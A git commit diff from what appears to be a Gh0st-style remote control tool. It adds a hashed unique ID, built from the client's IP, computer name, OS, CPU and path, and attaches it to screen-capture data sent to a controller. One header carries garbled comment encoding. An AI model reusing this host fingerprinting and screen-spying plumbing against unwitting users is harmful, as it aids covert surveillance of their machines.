Improve: Calculate unique ID for client program

This commit is contained in:
yuanyuanxiang
2025-12-14 00:46:36 +01:00
parent 29abbfe489
commit c7b0a0f218
10 changed files with 59 additions and 16 deletions

View File

@@ -18,8 +18,8 @@ extern "C" {
// 远程地址 // 远程地址
CONNECT_ADDRESS g_SETTINGS = { CONNECT_ADDRESS g_SETTINGS = {
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, "default", {}, FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, "default", 0, {},
0, 7057226198541618915, {}, 0, 0, 7057226198541618915, {},
}; };
// 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp而g_SETTINGS作为g_MyApp的成员. // 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp而g_SETTINGS作为g_MyApp的成员.

View File

@@ -274,7 +274,19 @@ std::string GetCurrentUserNameA()
} }
} }
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) #define XXH_INLINE_ALL
#include "server/2015Remote/xxhash.h"
// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
uint64_t CalcalateID(const std::vector<std::string>& clientInfo) {
std::string s;
for (int i = 0; i < 5; i++) {
s += clientInfo[i] + "|";
}
s.erase(s.length()-1);
return XXH64(s.c_str(), s.length(), 0);
}
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
{ {
LOGIN_INFOR LoginInfor; LOGIN_INFOR LoginInfor;
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录 LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
@@ -354,7 +366,10 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
BOOL IsRunningAsAdmin(); BOOL IsRunningAsAdmin();
LoginInfor.AddReserved(GetCurrentUserNameA().c_str()); LoginInfor.AddReserved(GetCurrentUserNameA().c_str());
LoginInfor.AddReserved(IsRunningAsAdmin()); LoginInfor.AddReserved(IsRunningAsAdmin());
char cpuInfo[32];
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
Mprintf("此客户端的唯一标识为: %s\n", std::to_string(conn.clientID).c_str());
return LoginInfor; return LoginInfor;
} }

View File

@@ -5,6 +5,6 @@
#pragma comment(lib,"Vfw32.lib") #pragma comment(lib,"Vfw32.lib")
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS &conn); LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn);
DWORD CPUClockMHz(); DWORD CPUClockMHz();
BOOL WebCamIsExist(); BOOL WebCamIsExist();

View File

@@ -19,6 +19,7 @@
#include <shlobj_core.h> #include <shlobj_core.h>
#include "common/file_upload.h" #include "common/file_upload.h"
#include <thread> #include <thread>
#include "ClientDll.h"
#pragma comment(lib, "Shlwapi.lib") #pragma comment(lib, "Shlwapi.lib")
@@ -86,8 +87,8 @@ bool IsWindows8orHigher()
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{ {
#ifndef PLUGIN #ifndef PLUGIN
extern CONNECT_ADDRESS g_SETTINGS; extern ClientApp g_MyApp;
m_conn = &g_SETTINGS; m_conn = g_MyApp.g_Connection;
InitFileUpload(""); InitFileUpload("");
#endif #endif
m_isGDI = TRUE; m_isGDI = TRUE;
@@ -383,14 +384,15 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
VOID CScreenManager::SendBitMapInfo() VOID CScreenManager::SendBitMapInfo()
{ {
//这里得到bmp结构的大小 //这里得到bmp结构的大小
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER); const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t);
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL, LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
ulLength, MEM_COMMIT, PAGE_READWRITE); ulLength, MEM_COMMIT, PAGE_READWRITE);
if (szBuffer == NULL) if (szBuffer == NULL)
return; return;
szBuffer[0] = TOKEN_BITMAPINFO; szBuffer[0] = TOKEN_BITMAPINFO;
//这里将bmp位图结构发送出去 //这里将bmp位图结构发送出去
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1); memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), sizeof(BITMAPINFOHEADER));
memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER), &m_conn->clientID, sizeof(uint64_t));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0); m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0);
VirtualFree(szBuffer, 0, MEM_RELEASE); VirtualFree(szBuffer, 0, MEM_RELEASE);

View File

@@ -41,7 +41,8 @@ struct CONNECT_ADDRESS {
char runningType; // 运行方式 char runningType; // 运行方式
char szGroupName[24]; // 分组名称 char szGroupName[24]; // 分组名称
char runasAdmin; // 是否提升权限运行 char runasAdmin; // 是否提升权限运行
char szReserved[19]; // 占位使结构体占据300字节 char szReserved[11]; // 占位使结构体占据300字节
uint64_t clientID; // 客户端唯一标识
uint64_t parentHwnd; // 父进程窗口句柄 uint64_t parentHwnd; // 父进程窗口句柄
uint64_t superAdmin; // 管理员主控ID uint64_t superAdmin; // 管理员主控ID
char pwdHash[64]; // 密码哈希 char pwdHash[64]; // 密码哈希

View File

@@ -602,7 +602,8 @@ public:
char runningType; // <20><><EFBFBD>з<EFBFBD>ʽ char runningType; // <20><><EFBFBD>з<EFBFBD>ʽ
char szGroupName[24]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> char szGroupName[24]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char runasAdmin; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> char runasAdmin; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char szReserved[19]; // ռλ<D5BC><CEBB>ʹ<EFBFBD><EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD> char szReserved[11]; // ռλ<D5BC><CEBB>ʹ<EFBFBD><EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
uint64_t clientID; // <20>ͻ<EFBFBD><CDBB><EFBFBD>Ψһ<CEA8><D2BB>ʶ
uint64_t parentHwnd; // <20><><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD><CCB4>ھ<EFBFBD><DABE><EFBFBD> uint64_t parentHwnd; // <20><><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD><CCB4>ھ<EFBFBD><DABE><EFBFBD>
uint64_t superAdmin; // <20><><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>ID uint64_t superAdmin; // <20><><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>ID
char pwdHash[64]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϣ char pwdHash[64]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϣ

View File

@@ -718,7 +718,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
CString install = v[RES_INSTALL_TIME].empty() ? "?" : v[RES_INSTALL_TIME].c_str(); CString install = v[RES_INSTALL_TIME].empty() ? "?" : v[RES_INSTALL_TIME].c_str();
CString path = v[RES_FILE_PATH].empty() ? "?" : v[RES_FILE_PATH].c_str(); CString path = v[RES_FILE_PATH].empty() ? "?" : v[RES_FILE_PATH].c_str();
CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing, CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing,
ver, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path ver, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path,
v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(),
}; };
auto id = CONTEXT_OBJECT::CalculateID(data); auto id = CONTEXT_OBJECT::CalculateID(data);
bool modify = false; bool modify = false;
@@ -778,6 +779,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : ""; std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : "";
ShowMessage("操作成功",strIP + tip.c_str() + "主机上线"); ShowMessage("操作成功",strIP + tip.c_str() + "主机上线");
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(),
std::to_string(id).c_str());
SendMasterSettings(ContextObject); SendMasterSettings(ContextObject);
} }
@@ -2609,6 +2612,17 @@ context* CMy2015RemoteDlg::FindHost(int port)
return NULL; return NULL;
} }
context* CMy2015RemoteDlg::FindHost(uint64_t id)
{
CLock L(m_cs);
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
if ((*i)->GetClientID() == id) {
return *i;
}
}
return NULL;
}
void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx)
{ {
BYTE buf[sizeof(MasterSettings) + 1] = { CMD_MASTERSETTING }; BYTE buf[sizeof(MasterSettings) + 1] = { CMD_MASTERSETTING };
@@ -2659,6 +2673,11 @@ BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL,
LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
{ {
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
LPBYTE p = ContextObject->InDeCompressedBuffer.GetBuffer(41);
uint64_t clientID = p ? *((uint64_t*)p) : 0;
auto mainCtx = clientID ? FindHost(clientID) : NULL;
if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString());
return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_SHOWMAXIMIZED>(wParam, lParam); return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_SHOWMAXIMIZED>(wParam, lParam);
} }

View File

@@ -233,6 +233,7 @@ public:
void DeletePopupWindow(); void DeletePopupWindow();
context* FindHost(context* ctx); context* FindHost(context* ctx);
context* FindHost(int port); context* FindHost(int port);
context* FindHost(uint64_t port);
CStatusBar m_StatusBar; //状态条 CStatusBar m_StatusBar; //状态条
CTrueColorToolBar m_ToolBar; CTrueColorToolBar m_ToolBar;

View File

@@ -118,7 +118,7 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* C
m_ulHScrollPos = 0; m_ulHScrollPos = 0;
m_ulVScrollPos = 0; m_ulVScrollPos = 0;
ULONG ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; const ULONG ulBitmapInforLength = sizeof(BITMAPINFOHEADER);
m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapInforLength]; m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapInforLength];
m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1); m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1);
@@ -344,14 +344,14 @@ VOID CScreenSpyDlg::OnReceiveComplete()
} }
case TOKEN_BITMAPINFO: { case TOKEN_BITMAPINFO: {
SAFE_DELETE(m_BitmapInfor_Full); SAFE_DELETE(m_BitmapInfor_Full);
ULONG ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; const ULONG ulBitmapInforLength = sizeof(BITMAPINFOHEADER);
m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[ulBitmapInforLength]; m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[ulBitmapInforLength];
m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1); m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1);
PrepareDrawing(m_BitmapInfor_Full); PrepareDrawing(m_BitmapInfor_Full);
break; break;
} }
default: { default: {
TRACE("CScreenSpyDlg unknown command: %d!!!\n", int(cmd)); Mprintf("CScreenSpyDlg unknown command: %d!!!\n", int(cmd));
} }
} }
} }

View File

@@ -30,6 +30,7 @@ enum {
ONLINELIST_LOGINTIME, // 活动窗口 ONLINELIST_LOGINTIME, // 活动窗口
ONLINELIST_CLIENTTYPE, // 客户端类型 ONLINELIST_CLIENTTYPE, // 客户端类型
ONLINELIST_PATH, // 文件路径 ONLINELIST_PATH, // 文件路径
ONLINELIST_PUBIP,
ONLINELIST_MAX, ONLINELIST_MAX,
}; };
@@ -514,6 +515,9 @@ public:
{ {
return PeerName; return PeerName;
} }
void SetPeerName(const std::string& peer) {
PeerName = peer;
}
virtual int GetPort() const virtual int GetPort() const
{ {
return sClientSocket; return sClientSocket;
@@ -655,7 +659,7 @@ public:
} }
static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX])
{ {
int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, }; int idx[] = { ONLINELIST_PUBIP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
CString s; CString s;
for (int i = 0; i < 5; i++) { for (int i = 0; i < 5; i++) {
s += data[idx[i]] + "|"; s += data[idx[i]] + "|";